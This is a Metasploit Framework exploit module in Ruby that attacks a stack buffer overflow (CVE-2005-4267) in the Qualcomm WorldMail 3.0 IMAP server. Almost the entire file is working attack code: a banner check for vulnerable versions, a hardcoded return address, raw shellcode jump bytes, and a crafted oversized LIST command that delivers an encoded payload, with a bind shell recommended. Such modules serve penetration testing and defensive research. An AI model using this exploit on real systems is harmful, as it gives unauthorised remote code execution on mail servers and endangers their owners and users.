##
# $Id: eudora_list.rb 4498 2007-03-01 08:21:36Z mmiller $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Imap::Eudora_List < Msf::Exploit::Remote

	include Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the Qualcomm WorldMail IMAP Server
				version 3.0 (build version 6.1.22.0). Using the PAYLOAD of windows/shell_bind_tcp
				allows or the most reliable results.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 4498 $',
			'References'     =>
				[
					[ 'CVE', '2005-4267'],
					[ 'BID', '15980'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x20\x0d\x7b", 
					'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",	
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'WorldMail 3 Version 6.1.20',   { 'Ret' => 0x10022187 } ], # msremote.dll
				],
			'DisclosureDate' => 'Dec 20 2005',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect
		
		if (banner and banner =~ /WorldMail 3 IMAP4 Server 6.1.22.0 ready/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		
		jmp =  "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
		jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
		jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"

		sploit =  "a001 LIST " + rand_text_alpha_upper(20, payload_badchars) 
		sploit << payload.encoded + "\xeb\x06" + make_nops(2) + [target.ret].pack('V') 
		sploit << make_nops(8) + jmp + rand_text_alpha_upper(40, payload_badchars) 
		sploit << "}" + "\r\n"

		sock.put(sploit)
		
		handler
		disconnect
	end

end
end	
